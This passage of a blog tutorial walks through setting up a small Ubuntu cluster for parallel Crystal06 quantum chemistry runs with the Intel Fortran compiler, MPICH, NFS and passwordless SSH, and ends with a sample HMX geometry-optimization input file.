– system glibc or kernel version not supported or not detectable
– binutils version not supported or not detectable
——————————————————————————–
1. Skip missing optional pre-requisites [default]
2. Show the detailed info about issue(s)
3. Re-check the pre-requisites

h. Help
b. Back to the previous menu
q. Quit
——————————————————————————–
Please type a selection or press “Enter” to accept default choice [1]:

Note the word “optional.” As for additional installations to remove these errors, Java is installed easily enough via apt-get (although we will not be using it for Crystal06, so it is not necessary). If you check the “operating system type” error, you will see that the IFC installer currently recognizes the following OS’s:

Asianux* 3.0
Debian* 4.0
Fedora* 9
Red Hat Enterprise Linux* 3, 4, 5
SGI ProPack* 5 (IA-64 and Intel(R) 64 only)
SuSE Linux* Enterprise Server* 9, 10
Turbo Linux* 11
Ubuntu* 8.04 (IA-32 and Intel(R) 64 only)

I assume the developers wrote in simple system checks for directory structure or the like and it will be updated as time goes on. The warning is completely irrelevant for our purposes. I suspect the installation is looking for Kernel 2.4.XX (this version of Ubuntu will install 2.6), but that’s also not a problem. The binutils are installed with the original Ubuntu install, so I assume this is just another version conflict (and not important).

The IFC will be installed in /opt/intel/Compiler/11.0/083, which we will add to the PATH on the HOST machine in a later step for MPICH compilation.

Step 6 HOST: Make The Crystal06 Directory

This directory will be THE directory that all of the cluster work reads to and writes from. I’ve now had two people mention that NFS is probably not the fastest and most efficient way to go, but it is the most common way for MPI systems to be set up according to my google research. Hopefully, this means you’ll find websites addressing specific problems with your installation if you’re attempting this installation with other Linux distributions (or if you have a problem with this procedure).

We’ll be placing the work directory right at the base of the directory tree (/). Accordingly, you’ll need Administrative access to do this (hence the sudo). The three steps below make the directory, change the group permissions for the directory, and lets all users read + write + execute content in this directory.

A@B:~$ sudo mkdir /crystal06
A@B:~$ sudo chgrp –R users /crystal06
A@B:~$ sudo chmod a+wrx /crystal06

Step 7 HOST: PATH Statement

The PATH specification adds the IFC directory, the work directory (/crystal06), and the MPICH executable directory (/crystal06/mpich-1.2.7/bin) to the user path (where Ubuntu looks when you type the name of an executable into the Terminal) on the HOST machine. Note that one of these directories does not yet exist and the /crystal06 directory is currently empty. This does not affect the specification of the PATH statement (and this directory will be occupied soon enough).

A@B:~$ cd $HOME
A@B:~$ pico .profile

[At the bottom of the .profile file, add the following:]

PATH=”/opt/intel/Compiler/11.0/083/bin/intel64:/crystal06/mpich-1.2.7/bin:/crystal06:$PATH”

[Ctrl-X to exit (and Enter twice to save)]

A@B:~$ source .profile

Step 8 HOST: Network Interface Setup And Machine Name

This step assigns the IP address to the HOST machine, names the HOST machine crystalhost, and adds the list of all machine names in the cluster. We begin with the IP address:

A@B:~$ sudo pico /etc/network/interfaces

[Ignoring explanations, make your interfaces file look like the following]

/etc/network/interfaces
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 10.1.1.1
netmask 255.255.255.0
broadcast 10.1.1.255
network 10.1.1.0

[Ctrl-X to exit (and Enter twice to save)]

Now, we change the name of this HOST machine by modifying /etc/hostname

A@B:~$ sudo pico /etc/hostname

[Change the name to crystalhost by simply replacing whatever is there with the following]

crystalhost

[Ctrl-X to exit (and Enter twice to save)]

Finally, we add the IP addresses and machine names for the rest of the machines in the cluster.

A@B:~$ sudo pico /etc/hosts

[Make your hosts file look like this (adding lines for each GUEST machine)]

127.0.0.1 localhost
127.0.1.1 crystalhost
10.1.1.1 crystalhost
10.1.1.2 crystalguest1
10.1.1.3 crystalguest2

10.1.1.N crystalguestN

[This may or may not be at the bottom of the hosts file and does not require modification]

# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts

[Ctrl-X to exit (and Enter twice to save)]

We will propagate all of these changes by a reboot after all of the HOST machine setup is complete.

Step 9 HOST: Network File System Setup

The NFS installation will open the HOST machine to directory mounting by all of the GUEST machines. We will be making the /crystal06 directory permanently accessible to other machines (even after reboot, crashes, etc.) by adding this directory and a few important NFS-specific flags to /etc/exports. The apt-get installation of the NFS server did the vast majority of the dirty work.

First, we configure portmap. When you run the dpkg-reconfigure command, you’ll be taken to a color configure screen. When it asks you if 127.0.0.1 should be assigned to LOOPBACK, say NO.

A@B:~$ sudo dpkg-reconfigure portmap

[Select NO when asked (navigate with the TAB key)]

A@B:~$ sudo /etc/init.d/portmap restart
A@B:~$ sudo pico /etc/exports

[This file should look something like the following]

# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync) hostname2(ro,sync)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt)
# /srv/nfs4/homes gss/krb5i(rw,sync)
#

[add the following line to the bottom of this file]

/crystal06 *(rw,sync,no_subtree_check)

[Ctrl-X to exit (and Enter twice to save)]

A@B:~$ sudo /etc/init.d/nfs-kernel-server restart
A@B:~$ sudo exportfs -a

Step 10 HOST: Building MPICH-1.2.7p1

This should be the most complicated-looking step in this document, but should run smoothly with everything above accounted for.

A@B:~$ cd ~/Desktop
A@B:~$ gunzip mpich-1.2.7p1.tar.gz
A@B:~$ tar xvf mpich-1.2.7p1.tar

[You will have the directory mpich-1.2.7p1 on your Desktop]

A@B:~$ cd mpich-1.2.7p1/
A@B:~/mpich-1.2.7p1$ ./configure –with-device=ch_p4 –with-arch=LINUX –prefix=/crystal06/mpich-1.2.7 –with-romio=–with-file-system=nfs –enable-f90modules -fc=ifort -f90=ifort

[Considerable output should appear on the screen. Note that the --prefix flag will install mpich-1.2.7 into /crystal06. The –fc and –f90 flags direct the ./configure script to use the IFC]

A@B:~/mpich-1.2.7p1$ make

[More considerable output should appear on the screen]

A@B:~/mpich-1.2.7p1$ sudo make install

[This step will generate /crystal06/mpich-1.2.7]

The output of the make install step should be as follows:

if [ "/crystal06/mpich-1.2.7" = "/crystal06/mpich-1.2.7" ] ; then \
./bin/mpiinstall ; \
else \
./bin/mpiinstall -prefix=/crystal06/mpich-1.2.7 ; \
fi
Installing documentation …
Done installing documentation
Installing manuals
Done installing manuals
Installing MPE
Copying MPE include files to /crystal06/mpich-1.2.7/include
Copying MPE libraries to /crystal06/mpich-1.2.7/lib
Copying MPE utility programs to /crystal06/mpich-1.2.7/bin
About to run installation test for C programs…

** Testing if C application can be linked with logging library
/crystal06/mpich-1.2.7/bin/mpicc -DMPI_LINUX -DUSE_STDARG -DHAVE_PROTOTYPES -I/crystal06/mpich-1.2.7/include -c cpi.c
/crystal06/mpich-1.2.7/bin/mpicc -DMPI_LINUX -DUSE_STDARG -DHAVE_PROTOTYPES -o cpi_log cpi.o -L/crystal06/mpich-1.2.7/lib -llmpe -lmpe -lm
** C application can be linked with logging library

** Testing if C application can be linked with tracing library
/crystal06/mpich-1.2.7/bin/mpicc -DMPI_LINUX -DUSE_STDARG -DHAVE_PROTOTYPES -o cpi_trace cpi.o -L/crystal06/mpich-1.2.7/lib -ltmpe -lm
** C application can be linked with tracing library

** Testing if C application can use both automatic and manual logging together
/crystal06/mpich-1.2.7/bin/mpicc -DMPI_LINUX -DUSE_STDARG -DHAVE_PROTOTYPES -I/crystal06/mpich-1.2.7/include -c cpilog.c
/crystal06/mpich-1.2.7/bin/mpicc -DMPI_LINUX -DUSE_STDARG -DHAVE_PROTOTYPES -o cpilog cpilog.o -L/crystal06/mpich-1.2.7/lib -llmpe -lmpe -lm
** C application can use both automatic and manual logging together

About to run installation test for Fortran programs…

** Testing if Fortran77 application can be linked with logging library
/crystal06/mpich-1.2.7/bin/mpif77 -I/crystal06/mpich-1.2.7/include -c fpi.f
eval: 1: ifort: not found
make[2]: *** [fpi.o] Error 127
** Fortran77 application CANNOT be linked with logging library

Copying SLOG2SDK’s lib
Copying SLOG2SDK’s doc
Copying SLOG2SDK’s logfiles
Creating SLOG2SDK’s bin
Installed SLOG2SDK in /crystal06/mpich-1.2.7
/crystal06/mpich-1.2.7/sbin/mpiuninstall may be used to remove the installation
creating Makefile
About to run installation test…
/crystal06/mpich-1.2.7/bin/mpicc -c cpi.c
/crystal06/mpich-1.2.7/bin/mpicc -o cpi cpi.o -lm
/crystal06/mpich-1.2.7/bin/mpicc -c simpleio.c
/crystal06/mpich-1.2.7/bin/mpicc -o simpleio simpleio.o
/crystal06/mpich-1.2.7/bin/mpif77 -c pi3.f
eval: 1: ifort: not found
make[2]: *** [pi3.o] Error 127
/crystal06/mpich-1.2.7/bin/mpif77 -c pi3p.f
eval: 1: ifort: not found
make[2]: *** [pi3p.o] Error 127
make[1]: *** [all] Error 2
rm -f *.o *~ PI* cpi pi3 simpleio hello++ pi3f90 cpilog
rm -rf SunWS_cache ii_files pi3f90.f pi3p cpip *.ti *.ii
installed MPICH in /crystal06/mpich-1.2.7
/crystal06/mpich-1.2.7/sbin/mpiuninstall may be used to remove the installation.

You will note several warnings when you do this that are annoying but not important. The reason for these errors is because the IFC directory (ifort) is in your user PATH, but not in the root PATH (so, when you sudo, Ubuntu doesn’t know where ifort is). You can remedy this by repeating Step 7 above but doing so in the /root directory.

A@B:~$ cd /root
A@B:~$ sudo pico .profile

[At the bottom of the .profile file, add the following:]

PATH=”/opt/intel/Compiler/11.0/083/bin/intel64:/crystal06/mpich-1.2.7/bin:/crystal06:$PATH”

[Ctrl-X to exit (and Enter twice to save)]

A@B:~$ sudo source .profile

You can check that the PATH and the MPICH compilation are correct by typing “mpirun” at the prompt. You should receive the message:

Missing: program name

This is an mpirun-can’t-find-the-program-you-want-to-run error and means that the PATH is right and mpirun at least starts properly.

Step 11 HOST: machines.LINUX

This file provides the list of machines that MPICH has accessible to it when performing a calculation (effectively, an address book of machines to call upon as processors are requested). We will refer to these machines by the names we used in the hostname file. This file will reside in /crystal06, the same place as the Pcrystal executable. When running the calculation with mpirun, you call this file with the -machinefile flag.

Now, a potential problem. The format for the machines.LINUX file is recommended to be:

machinename:number of CPUs on the machine

So, for the 8-core HOST machine and the two 8-core GUEST machines, the lines would be:

crystalhost:8
crystalguest1:8
crystalguest2:8

When I do it this way, I have the strange issue of having more than 8 Pcrystal processes running on a single machine on occasion, as if MPICH doesn’t know that it is supposed to run one process per processor. This does not occur continuously, but having 9 or 10 processes running on a single box is not only bad for speed, but also bad for overworking processors. My solution to this problem is to simply have one-line-per-processor in the machines.LINUX file so that each processor exists by machine name in the file. MPICH seems to hold to never sending more than one process per processor this way. I’ve not diagnosed this problem further and likely will not without someone else instigating another check.

To generate the machines.LINUX file…

A@B:~$ pico /crystal06/machines.LINUX

[In this new file, add the following (these are for 8-core boxes. Obviously, add one hostname for each processor on the box). You can mix-and-match machines if you like (single-core, dual, quad, etc.), just make sure you've one hostname line per processor.]

crystalhost
.. 6 more ..
crystalhost
crystalguest1
.. 6 more ..
crystalguest1
crystalguest2
.. 6 more ..
crystalguest2

crystalguestNN
.. 6 more ..
crystalguestNN

Step 12 HOST: Crystal06 Selection And Setup

One final setup step before we move to the GUEST machines and, when the cluster is all together, set up SSH. The Crystal06 download in question is Linux-ifort_pentium4_mpich_1.2.7.fedora5_2.6.tar.gz, which you’ll have downloaded from the Crystal06 website (and, I assume, saved to the Desktop).

A@B:~$ cd ~/Desktop
A@B:~$ gunzip crystal06_v1_0_2_Linux-ifort_pentium4_mpich_1.2.7.fedora5_2.6.tar.gz
A@B:~$ tar xvf crystal06_v1_0_2_Linux-ifort_pentium4_mpich_1.2.7.fedora5_2.6.tar

[You should now have the directory [bin] on your Desktop]

A@B:~$ cd bin/crystal06_v1_0_2_Linux-ifort_pentium4_mpich_1.2.7.fedora5_2.6/v1_0_2/
A@B:~/bin/Linux-ifort_pentium4_mpich_1.2.7.fedora5_2.6/v1_0_2$ ls

[You should see crystal, Pcrystal, and properties. We will copy these to the crystal06/ folder]

A@B:~/bin/Linux-ifort_pentium4_mpich_1.2.7.fedora5_2.6/v1_0_2$ cp * /crystal06/

That’s the last step for the HOST machine until the GUEST machines are ready. Now, reboot the HOST machine, plug the ethernet cable into the switch, and bring on the GUEST machines. You will follow the series below for ALL machines, with the only difference at each machine being the IP address and hostname specification (I’ll make sure to point out).

Step 13 GUEST: Installation And System Update

See Step 1 HOST and Step 2 HOST. Exactly the same.

Step 14 GUEST: apt-get Installations Required For SSH, NFS, And 32-bit Pcrystal

Open a Terminal Window (Applications -> Accessories -> Terminal) and type (or copy + paste) the following:

A@B:~$ sudo apt-get install ia32-libs lib32asound2 lib32ncurses5 lib32nss-mdns lib32z1 lib32gfortran3 gcc-4.3-multilib gcc-multilib lib32gomp1 libc6-dev-i386 lib32mudflap0 lib32gcc1 lib32gcc1-dbg lib32stdc++6 lib32stdc++6-4.3-dbg libc6-i386 libstdc++5 g++ g++-4.3 libstdc++6-4.3-dev g++-multilib g++-4.3-multilib gcc-4.3-doc libstdc++6-4.3-dbg libstdc++6-4.3-doc nfs-common portmap ssh

[REPEAT: Note the many 32-bit libraries. These are required by both IFC and Pcrystal (making the 64-bit installation I used for this document back-compatible (in a way) with the 32-bit Pcrystal build). If you're working with a 32-bit Ubuntu installation, you can still just copy + paste this apt-get command to install missing programs and libraries. apt-get will skip libraries already present and only install those things missing from the machine. Admittedly, I've not done this on a 32-bit installation so do not know if, in fact, some of these libraries are NOT installed by default as part of the 32-bit installation process. That is, you may get fewer warnings about already-present libraries than I expect you to.]

The only difference between the GUEST list and the HOST list is the absence of nfs-server-kernel in the GUEST list.

Step 15 GUEST: Make The Crystal06 Directory

We’ll be placing the work directory right at the base of the directory tree (/) for each GUEST machine. Accordingly, you’ll need Administrative access to do this (hence the sudo). The three steps below make the directory, change the group permissions for the directory, and lets all users read + write + execute content in this directory.

A@B:~$ sudo mkdir /crystal06
A@B:~$ sudo chgrp -R users /crystal06
A@B:~$ sudo chmod a+wrx /crystal06

We will be mounting the HOST machine /crystal06 folder in each GUEST machine/crystal06 folder.

Step 16 GUEST: PATH Statement

The PATH specification adds the work directory (/crystal06) and the MPICH executable directory (/crystal06/mpich-1.2.7/bin). These folders are now populated on the HOST machine (these directories do not need to be accessible for you to specify the PATH statement).

A@B:~$ cd $HOME
A@B:~$ pico .profile

[At the bottom of the .profile file, add the following:]

PATH=”/crystal06/mpich-1.2.7/bin:/crystal06:$PATH”

[Ctrl-X to exit (and Enter twice to save)]

A@B:~$ source .profile

Step 17 GUEST: Network Interface Setup And Machine Name

This step assigns the IP address to each GUEST machine, names the GUEST machine crystalguestN, and adds the list of all machine names in the cluster. We begin with the IP address:

A@B:~$ sudo pico /etc/network/interfaces

[Ignoring explanations, make your interfaces file look like the following]

auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 10.1.1.N
netmask 255.255.255.0
broadcast 10.1.1.255
network 10.1.1.0

[Ctrl-X to exit (and Enter twice to save)]

Now, we change the name of this GUEST machine by modifying /etc/hostname

A@B:~$ sudo pico /etc/hostname

[Change the name to crystalguestN by simply replacing whatever is there with the following]

crystalguestN

[Ctrl-X to exit (and Enter twice to save)]

Finally, we add the IP addresses and machine names for the rest of the machines in the cluster.

A@B:~$ sudo pico /etc/hosts

[saving the explanations for other websites, make your hosts file look like this (adding lines for each machine). And there is no problem with having the machine you're on in this list. Just make sure to keep the N values straight for 127.0.1.1.]

127.0.0.1 localhost
127.0.1.1 crystalguestN
10.1.1.1 crystalhost
10.1.1.2 crystalguest1
10.1.1.3 crystalguest2

10.1.1.N crystalguestN

[This may or may not be at the bottom of the hosts file and does not require modification]

# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts

[Ctrl-X to exit (and Enter twice to save)]

We will propagate all of these changes by a reboot after all of the GUEST machine setups are complete.

Step 18 GUEST: NFS Folder Mounting

We do not set up NFS here, as that was done on the HOST machine. With the nfs-common package installed, the underlying code is already ready already for mounting the HOST directory (that we opened to the world in the HOST setup).

There are two ways to do this. The first is the immediate-connect method that we will use first to make sure everything works right. The second method permanently adds the HOST machine /crystal06 folder to the GUEST file system so that this drive will automatically be mounted at reboot (provided the HOST machine is on and plugged into the switch, of course).

A) Immediate-connect

A@B:~$ sudo mount crystalhost:/crystal06 /crystal06
A@B:~$ cd /crystal06/
A@B:~$:/crystal06$ ls

The ls command should list the contents of the folder, which should be Pcrystal, crystal, utils, and the mpich-1.2.7 directory. If you see these, you’re all set!

B) Permanent-connect

This is the final step in the GUEST setup before we reboot the GUEST machines, plug them into the switch, and set up SSH. We will add the HOST /crystal06 folder to /etc/fstab so that this directory is always mounted upon reboot (provided the HOST machine is up, of course).

A@B:~$ sudo pico /etc/fstab

# /etc/fstab: static file system information.
#
#
proc /proc proc defaults 0 0
# /dev/sda1 UUID=1be7d1a8-1098-40be-8ac4-f6f1dfa46c32 / ext3 relatime,errors=remount-ro 0 1
# /dev/sda5 UUID=d5750659-faba-4a0b-b659-ab3c7e9cde9f none swap sw 0 0
/dev/scd0 /media/cdrom0 udf,iso9660 user,noauto,exec,utf8 0 0

[Add the following line to the bottom]

10.1.1.1:/crystal06 /crystal06 nfs rw,noac 0 0

That completes the basic GUEST setup. To propagate all changes, reboot the machines and plug into the switch. For the remaining steps, we will NOT need to log into the GUEST machines directly, instead performing the final setup steps directory from the HOST machine.

Step 19 From HOST: Testing The Cluster

At this point, I assume that all machines are rebooted and plugged in. To check connectivity, open a Terminal window at type the following:

A@B:~$ ping 10.1.1.N (where N is the number of each GUEST machine)

With luck, you’ll see something like the following for each machine:

PING 10.1.1.N (10.1.1.N): 56 data bytes
64 bytes from 10.1.1.N: icmp_seq=0 ttl=50 time=0.102 ms
64 bytes from 10.1.1.N: icmp_seq=1 ttl=50 time=0.100 ms

Step 20 From HOST: Setting Up SSH

The Secure SHell network protocol is familiar to any quantum chemist with NCSA time and is the method of choice for cross-cluster communication by MPICH. What we are going to do below is make the login from HOST to each GUEST password-less by placing a generated HOST authentication key on each GUEST (so the GUEST will see the login attempt from HOST, confirm the HOST is the HOST, and use the stored, encrypted copy of the password on the GUEST machine to allow the HOST to log in).

A@B:~$ ssh-keygen -t dsa

[You will see something like the following. Don't bother entering a passphrase.]

Generating public/private dsa key pair.
Enter file in which to save the key (/home/terahertz/.ssh/id_dsa):
Created directory ‘/home/terahertz/.ssh’.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/terahertz/.ssh/id_dsa.
Your public key has been saved in /home/terahertz/.ssh/id_dsa.pub.
The key fingerprint is:
33:8a:1e:14:59:ba:11:b7:7d:75:68:4d:af:09:4e:65 terahertz@terahertz2
The key’s randomart image is:
+–[ DSA 1024]—-+
| . o .+E |
| * o .o+.. |
| = . . ..o .|
| + . o . o |
| o S . o |
| . . . o |
| o . |
| . . |
| . |
+—————–+

A@B:~$ cd ~/.ssh
A@B:~/.ssh$ mv id_dsa.pub authorized_keys2

[The authorized_keys2 file will be copied onto each GUEST machine]

A@B:~/.ssh$ chmod 644 authorized_keys2

[Sets the permissions on this file]

This series of steps is performed on ALL GUEST machines.]

A@B:~/.ssh$ sftp crystalguestN

[As we've not logged into any GUEST machine yet from the HOST, this first login will add the HOST machine to the "list of known hosts" on each GUEST machine. This screen will look like the following:]

The authenticity of host ‘crystalhost (10.1.1.1)’ can’t be established.
RSA key fingerprint is 5a:ab:43:5c:7a:82:1c:c2:30:ab:17:1d:7b:dc:35:5d.
Are you sure you want to continue connecting ? yes
Warning: Permanently added ’10.1.1.1′ (RSA) to the list of known hosts.
username@10.1.1.1′s password:

[This is the password for the Administrative account on the GUEST machines, and we did use the same username/password combination for all machines.]

And you should now be logged into the GUEST machine.

sftp> cd .ssh
sftp> put authorized_keys2
sftp> bye

Now, when you ssh into each guest machine (ssh crystalguestN), you should automatically be taken to a prompt instead of immediately being prompted to provide a password. Try it.

And, in theory, we are ready for a Crystal06 calculation.

Step 21: Executing A Parallel Pcrystal Run

Finally, we attempt a calculation to see it everything is working. For the parallel version, your input file should ONLY be named INPUT. While we would normally direct stdout to a textfile (FILENAME.log), for the moment we’ll simply run Pcrystal and have the output fly across the screen (and use Crtl-C to cancel the calculation when you see it working properly).

Quick Test: From a Terminal Window on the HOST machine:

A@B:~$ cd /crystal06
A@B:~/crystal06$ pico INPUT

[copy + paste the contents of an INPUT file. One is provided below. Crtl-X and Enter twice to Exit.]

A@B:~/crystal06$ mpirun -machinefile machines.LINUX -np NN /crystal06/Pcrystal

[where NN in the number of processors you wish to use (here, 24). With luck, you see output scrolling on your screen.]

Long Run: From a Terminal window on the HOST machine:

A@B:~$ cd /crystal06
A@B:~/crystal06$ pico INPUT

[copy + paste the contents of an INPUT file. One is provided below. Crtl-X and Enter twice to Exit.]

A@B:~/crystal06$ mpirun -machinefile machines.LINUX -np NN /crystal06/Pcrystal >& FILENAME.log &

[where NN in the number of processors you wish to use (here, 24). With luck, you see output scrolling on your screen.]

Step 22: Clean Up Your Work Area

Abbreviations: IFC = Intel Fortran Compiler; NFS = Network File System; SSH = Secure Shell; GUI = Graphical User Interface; GNU = GNU’s Not Unix; MPI = Message Passing Interface; MTU = Maximum Transmission Unit; ASCII = American Standard Code for Information Interchange.

Sample INPUT File

This file should be in the same directory as Pcrystal and must be named INPUT. Simply copy + paste this text into pico.

Test - HMX B3LYP/6-31G(d,p) Optimization
CRYSTAL
0 0 0
14
6.54 11.05 8.7 124.3
14
6     -1.916099596340E-01  6.676349517289E-02 -2.182885523722E-01
6     -2.503804839553E-01 -1.120680815923E-01 -5.474423890830E-02
1     -8.473363602905E-02  2.156436070832E-02 -2.624745229043E-01
1     -3.118388852293E-01  1.333438306584E-01 -3.228685284194E-01
1     -3.403156096494E-01 -1.982400318802E-01 -1.157824844356E-01
1     -2.869510613627E-01 -8.418976395712E-02  4.756872577177E-02
7      4.052599333247E-01  3.611547587878E-03 -2.964084420881E-01
7     -3.482877872090E-01 -2.004714602231E-02 -2.045486619658E-01
7     -1.370629884135E-02  1.239068455614E-01 -3.942995393365E-02
7     -9.996263652745E-02  2.044290396001E-01  3.204467273623E-02
8      3.112065051423E-01  7.742872382639E-02 -4.246789313176E-01
8      2.919005769488E-01 -5.519244772114E-02 -2.454349230033E-01
8      5.311693851955E-02  2.484511082277E-01  1.848582062126E-01
8     -3.250235105003E-01  2.228619176219E-01 -6.094957200050E-02
OPTGEOM
TOLDEG
0.000010
TOLDEX
0.000040
END
END
8 4
0 0 6 2.0 1.0
5484.671700         0.1831100000E-02
825.2349500         0.1395010000E-01
188.0469600         0.6844510000E-01
52.96450000         0.2327143000
16.89757000         0.4701930000
5.799635300         0.3585209000
0 1 3 6.0 1.0
15.53961600        -0.1107775000         0.7087430000E-01
3.599933600        -0.1480263000         0.3397528000
1.013761800          1.130767000         0.7271586000
0 1 1 0.0 1.0
0.2700058000          1.000000000          1.000000000
0 3 1 0.0 1.0
0.800000000          1.00000000
7 4
0 0 6 2.0 1.0
4173.51100         0.183480000E-02
627.457900         0.139950000E-01
142.902100         0.685870000E-01
40.2343300         0.232241000
12.8202100         0.469070000
4.39043700         0.360455000
0 1 3 5.0 1.0
11.6263580        -0.114961000         0.675800000E-01
2.71628000        -0.169118000         0.323907000
0.772218000          1.14585200         0.740895000
0 1 1 0.0 1.0
0.212031300          1.00000000          1.00000000
0 3 1 0.0 1.0
0.800000000          1.00000000
6 4
0 0 6 2.0 1.0
.3047524880D+04   .1834737130D-02
.4573695180D+03   .1403732280D-01
.1039486850D+03   .6884262220D-01
.2921015530D+02   .2321844430D+00
.9286662960D+01   .4679413480D+00
.3163926960D+01   .3623119850D+00
0 1 3 4.0 1.0
.7868272350D+01  -.1193324200D+00   .6899906660D-01
.1881288540D+01  -.1608541520D+00   .3164239610D+00
.5442492580D+00   .1143456440D+01   .7443082910D+00
0 1 1 0.0 1.0
.1687144782D+00   .1000000000D+01   .1000000000D+01
0 3 1 0.0 1.0
.8000000000D+00   .1000000000D+01
1 3
0 0 3 1.0 1.0
.1873113696D+02   .3349460434D-01
.2825394365D+01   .2347269535D+00
.6401216923D+00   .8137573262D+00
0 0 1 0.0 1.0
.1612777588D+00   .1000000000D+01
0 2 1 0.0 1.0
.1100000000D+01   .1000000000D+01
99 0
END
DFT
B3LYP
XLGRID
END
EXCHSIZE
4050207
BIPOSIZE
4050207
TOLINTEG
7 7 7 7 14
MAXCYCLE
100
SCFDIR
TOLDEE
8
SHRINK
4 8
LEVSHIFT
5 1
FMIXING
40
END
END

www.crystal.unito.it
en.wikipedia.org/wiki/Density_functional_theory
www.gaussian.com
www.msg.ameslab.gov/GAMESS
accelrys.com/products/materials-studio/modules/dmol3.html
en.wikipedia.org/wiki/Message_Passing_Interface
www.mcs.anl.gov/research/projects/mpi/mpich1
software.intel.com/en-us/intel-compilers
en.wikipedia.org/wiki/Network_file_system
en.wikipedia.org/wiki/Secure_Shell
en.wikipedia.org/wiki/Symmetric_multiprocessing
en.wikipedia.org/wiki/Beowulf_(computing)
www.ubuntu.com
www.debian.org/doc/manuals/apt-howto
www.java.com/en
www.abinit.org
www.gromacs.org
ambermd.org
www.dell.com/content/products/productdetails.aspx/precn_t5400…
www.netgear.com/Products/Switches/DesktopSwitches/GS116.aspx
en.wikipedia.org/wiki/Jumbo_frame
www.apcc.com/resource/include/techspec_index.cfm?base_sku=SUA1500
en.wikipedia.org/wiki/Maximum_transmission_unit
www.somewhereville.com
www.opensuse.org
fedoraproject.org
help.ubuntu.com/community/UsingTheTerminal
www.mcs.anl.gov/research/projects/mpich2
www.open-mpi.org
www.mcs.anl.gov/research/projects/mpi/mpich1
www.pgroup.com
en.wikipedia.org/wiki/Pico_(text_editor)
en.wikipedia.org/wiki/Vi
en.wikipedia.org/wiki/Sudo
help.ubuntu.com/community/RootSudo
en.wikipedia.org/wiki/Bootstrap_Protocol
www.mozilla.com/firefox
en.wikipedia.org/wiki/Pdf
www.mcs.anl.gov/research/projects/mpi/mpich1/download.html
software.intel.com/en-us/articles/non-commercial-software-development

Obligatory


T R P Nanosys


Syracuse Astro


Ubuntu 4 Nano


N-Fact. Collab.

Nano Gallery

  • nano gallery
  • nano gallery
  • nano gallery
  • nano gallery
  • nano gallery
  • nano gallery
  • nano gallery
  • nano gallery
  • nano gallery
  • nano gallery
  • more...
  • Aerial Photos

  • aerial photos
  • aerial photos
  • aerial photos
  • aerial photos
  • aerial photos
  • aerial photos
  • aerial photos
  • aerial photos
  • aerial photos
  • aerial photos
  • more...
  • Syracuse Scenes

  • syracuse scenes
  • syracuse scenes
  • syracuse scenes
  • syracuse scenes
  • syracuse scenes
  • syracuse scenes
  • syracuse scenes
  • syracuse scenes
  • syracuse scenes
  • syracuse scenes
  • more...